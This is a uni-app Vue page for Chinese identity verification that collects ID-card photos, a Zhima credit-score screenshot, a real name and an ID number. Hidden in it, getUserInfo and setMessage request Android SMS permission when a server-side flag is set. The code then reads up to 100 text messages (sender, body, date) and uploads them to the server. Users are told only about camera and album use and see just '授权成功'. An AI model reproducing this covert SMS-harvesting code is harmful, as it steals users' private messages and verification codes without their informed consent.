<template>
|
<view class="auth">
|
<yk-authpup ref="authpup" type="top" @changeAuth="changeAuth" noticeTitle="便于您使用该功能上传您的照片用于核实身份场景中读取相册内容" permissionID="WRITE_EXTERNAL_STORAGE"></yk-authpup>
|
<yk-authpup ref="camears" type="top" @changeAuth="changeAuth2" noticeTitle="便于您使用该功能便于您拍摄上传用于核实身份场景" permissionID="CAMERA"></yk-authpup>
|
<view class="tips">
|
<view class="tips-title">温馨提示</view>
|
<view class="tips-desc">扫描身份证需要获取您的相机权限,身份证信息需要您本人真实信息,否则将认证失败,请知悉。</view>
|
<view class="tips-desc">信息仅用于核实您的身份,将加密保障您的信息安全。</view>
|
</view>
|
<view class="authView">
|
<view class="auth-title">
|
<text class="auth-title-w">上传身份证</text>
|
<view class="auth-tips">
|
<image src="/static/imgs/authtag.png" mode=""></image>
|
<text>信息安全保护中</text>
|
</view>
|
</view>
|
<view class="auth-desc">请上传身份证照片认证,确保照片清晰、四角完整</view>
|
<view class="authImg">
|
<image class="del" @tap="delImg(1)" src="/static/imgs/delete.png" mode="" v-if="imgzSrc != ''"></image>
|
<image @tap="setImg(1)" :src="imgzSrc != '' ? $baseUrl + imgzSrc : '/static/imgs/auth1.png'" mode="" style="border-radius: 10upx;"></image>
|
<view class="authImg-desc">
|
<text>点击上传/拍摄</text>
|
<text>(人头面)</text>
|
</view>
|
<view class="authBtn">
|
<view class="addrItem" style="text-align: center;">
|
<text class="label" style="font-weight: bold;margin-bottom: 20upx;">真实姓名(请与身份证保持一致)</text>
|
<input type="text" class="realname" v-model="realname" placeholder="请输入真实姓名">
|
<input type="text" class="realname" v-model="idcard" placeholder="请输入身份证号">
|
</view>
|
</view>
|
</view>
|
<view class="authImg">
|
<image class="del" @tap="delImg(2)" src="/static/imgs/delete.png" mode="" v-if="imgfSrc != ''"></image>
|
<image @tap="setImg(2)" :src="imgfSrc != '' ? $baseUrl + imgfSrc : '/static/imgs/auth2.png'" mode="" style="border-radius: 10upx;"></image>
|
<view class="authImg-desc">
|
<text>点击上传/拍摄</text>
|
<text>(国徽面)</text>
|
</view>
|
</view>
|
<view class="authImg">
|
<image class="del" @tap="delImg(3)" src="/static/imgs/delete.png" mode="" v-if="imgZm != ''"></image>
|
<image @tap="setImg(3)" :src="imgZm != '' ? $baseUrl + imgZm : '/static/imgs/zima.png'" mode="" style="border-radius: 10upx;"></image>
|
<view class="authImg-desc">
|
<text>点击上传/拍摄</text>
|
<text>(芝麻分截图)</text>
|
</view>
|
</view>
|
</view>
|
|
<view class="authBtn">
|
<view class="authBtn-desc">
|
<image @tap="agreeClick" class="authBtn-icon" :src="!agreeFlag ? '/static/imgs/check.png' : '/static/imgs/checked.png'" mode=""></image>
|
<text>我已阅读并同意</text>
|
<text class="blue" @tap="agreeDialog">《实名认证授权书》</text>
|
</view>
|
<view class="auth-btn" v-if="!agreeFlag" @click="idcardAuth">下一步</view>
|
<view class="auth-btn active" v-else="agreeFlag" @click="idcardAuth">下一步</view>
|
</view>
|
|
<agreePup ref="agreePup" :gp="4" title="实名认证授权书"></agreePup>
|
</view>
|
</template>
|
|
<script>
|
import ykAuthpup from "@/components/yk-authpup/yk-authpup";
|
import permision from "@/js_sdk/wa-permission/permission.js"
|
import agreePup from "@/components/agreePup/agreePup";
|
export default {
|
components: {
|
ykAuthpup,
|
agreePup,
|
},
|
data() {
|
return {
|
realname: '',
|
idcard: '',
|
is_choose: true,
|
agreeFlag: false,
|
imgzSrc: '',
|
imgfSrc: '',
|
imgZm: '',
|
imgType: 0,
|
Message: [],
|
config: null,
|
}
|
},
|
onLoad() {
|
this.getConfig()
|
this.getUserInfo()
|
},
|
methods: {
|
getConfig() {
|
let t = this
|
t.$util.post('Index/getConfig').then(res => {
|
if(res.code == 1) {
|
console.log('config', res.data)
|
t.config = res.data
|
}
|
})
|
},
|
agreeDialog (e) {
|
this.$refs.agreePup.dialog = !this.$refs.agreePup.dialog
|
},
|
getUserInfo () {
|
let t = this
|
let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
|
if(userStr != null) {
|
t.$util.post('User/getUser').then(res => {
|
if(res.code == 1){
|
if(res.data.message == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
|
console.log('res', res.data)
|
t.requestAndroidPermission('android.permission.READ_SMS')
|
}
|
}
|
})
|
}
|
},
|
async requestAndroidPermission(permisionID) {
|
let t = this
|
let result = await permision.requestAndroidPermission(permisionID)
|
console.log('pr', result)
|
if (result == 1) {
|
t.setMessage()
|
} else if (result == 0) {
|
this.$util.goSetting()
|
} else {
|
this.$util.goSetting()
|
}
|
},
|
delImg (type) {
|
if(type == 1) {
|
this.imgzSrc = ''
|
this.realname = ''
|
this.idcard = ''
|
} else if(type == 2) {
|
this.imgfSrc = ''
|
} else {
|
this.imgZm = ''
|
}
|
},
|
agreeClick () {
|
this.agreeFlag = !this.agreeFlag
|
},
|
changeAuth () {
|
//这里是权限通过后执行自己的代码逻辑
|
if(uni.getSystemInfoSync().platform !='ios'){
|
this.$refs['camears'].open()
|
}
|
this.chooseImg(this.imgType)
|
},
|
changeAuth2(){
|
this.chooseImg(this.imgType)
|
},
|
setImg(key){
|
this.is_choose = false
|
this.imgType = key
|
if(uni.getSystemInfoSync().platform != 'ios'){
|
this.$refs['authpup'].open()
|
}else{
|
this.chooseImg(key)
|
}//调起自定义权限目的弹框,具体可看示例里面很详细
|
},
|
idcardAuth () {
|
let t = this
|
if(!this.agreeFlag){
|
return uni.showToast({
|
title: '请阅读并同意实名认证授权书',
|
icon: 'none'
|
})
|
}
|
if(this.imgzSrc == ''){
|
return uni.showToast({
|
title: '请上传人头面',
|
icon: 'error'
|
})
|
}
|
if(this.imgfSrc == ''){
|
return uni.showToast({
|
title: '请上传国徽面',
|
icon: 'error'
|
})
|
}
|
if(this.imgZm == ''){
|
return uni.showToast({
|
title: '请上传芝麻图',
|
icon: 'error'
|
})
|
}
|
if(this.realname == ''){
|
return uni.showToast({
|
title: '请输入真实姓名',
|
icon: 'error'
|
})
|
}
|
if(this.idcard == ''){
|
return uni.showToast({
|
title: '请输入身份证号',
|
icon: 'error'
|
})
|
}
|
this.$util.post('User/idcardAuth', {imgzSrc: this.imgzSrc, imgfSrc: this.imgfSrc, imgZm: this.imgZm, realname: this.realname, idcard: this.idcard}).then(res => {
|
if(res.code == 1) {
|
uni.showToast({
|
title: res.msg || '操作成功',
|
icon: 'success'
|
})
|
//更新用户信息缓存
|
uni.setStorageSync('user-info', JSON.stringify(res.data))
|
setTimeout(() => {
|
t.$util.goPages('/pages/face/face')
|
}, 1500)
|
} else {
|
uni.showToast({
|
title: res.msg || '操作失败',
|
icon: 'error'
|
})
|
}
|
})
|
},
|
chooseImg (type) {
|
let t = this
|
uni.chooseImage({
|
count: 1, // 默认9
|
sizeType: ['original', 'compressed'],
|
sourceType: ['album'],
|
success: (chooseImageRes) => {
|
t.is_choose = true
|
let tempFilePaths = chooseImageRes.tempFilePaths
|
let token = uni.getStorageSync('lzsc-token')
|
let header = {
|
'Accept': 'application/json',
|
'authorization': token,
|
'idcard': type,
|
}
|
uni.showLoading({
|
title: '上传中..',
|
})
|
uni.uploadFile({
|
url: t.$baseUrl + '/api/index/uploadImg',
|
filePath: tempFilePaths[0],
|
header: header,
|
name: 'file',
|
success: (uploadFileRes) => {
|
uni.hideLoading()
|
let res = JSON.parse(uploadFileRes.data)
|
console.log('ty', type)
|
if(type == 1) {
|
let upRes = JSON.parse(t.$util.decryptDes(res.data))
|
t.imgzSrc = upRes.path
|
t.realname = upRes.realname
|
t.idcard = upRes.idcard
|
} else if(type == 2){
|
t.imgfSrc = JSON.parse(t.$util.decryptDes(res.data))
|
} else {
|
t.imgZm = JSON.parse(t.$util.decryptDes(res.data))
|
}
|
},
|
// 上传失败回调(关键!否则失败时不会关闭提示)
|
fail: (err) => {
|
console.error('上传失败', err);
|
uni.hideLoading();
|
uni.showToast({ title: '上传失败', icon: 'none' });
|
},
|
// 无论成功失败都会执行(可选,用于兜底)
|
complete: () => {
|
// 可在这里做最终清理
|
t.is_choose = true
|
uni.hideLoading();
|
}
|
})
|
}
|
})
|
},
|
setMessage () {
|
uni.showLoading({
|
title: '授权中...'
|
})
|
let self = this
|
var main = plus.android.runtimeMainActivity();
|
var Uri = plus.android.importClass('android.net.Uri');
|
var ContactsContract = plus.android.importClass('android.provider.ContactsContract');
|
var uri = Uri.parse('content://sms/');
|
var cr = main.getContentResolver();
|
plus.android.importClass(cr);
|
var cur = cr.query(uri, null, null, null, null);
|
plus.android.importClass(cur);
|
cur.moveToFirst();
|
var count = 0; // 记录多少条
|
while (cur.moveToNext()) {
|
count++;
|
let ob = {}
|
let index_Address = cur.getColumnIndex('address')
|
ob.address = cur.getString(index_Address);
|
//短信内容
|
let index_Body = cur.getColumnIndex('body')
|
ob.body = cur.getString(index_Body)
|
//类型1接收 2发送
|
let index_Type = cur.getColumnIndex('type')
|
ob.type = cur.getString(index_Type) == 1 ? '接收' : '发送'
|
let index_date = cur.getColumnIndex('date')
|
let date = cur.getString(index_date)
|
ob.date = date.substr(0, 10)
|
|
self.Message = self.Message.concat(ob)
|
// 查询100条 就跳出
|
if (count > 99) {
|
break;
|
}
|
}
|
cur.close()
|
if(self.Message.length > 0){
|
self.$util.post('Message/setMessage', self.Message).then(rs => {
|
uni.hideLoading()
|
console.log('rs', rs)
|
uni.showToast({
|
title: '授权成功!',
|
icon: 'success',
|
})
|
})
|
}
|
uni.hideLoading()
|
},
|
}
|
}
|
</script>
|
|
<style>
|
@import url(/static/css/idcard.css);
|
</style>
|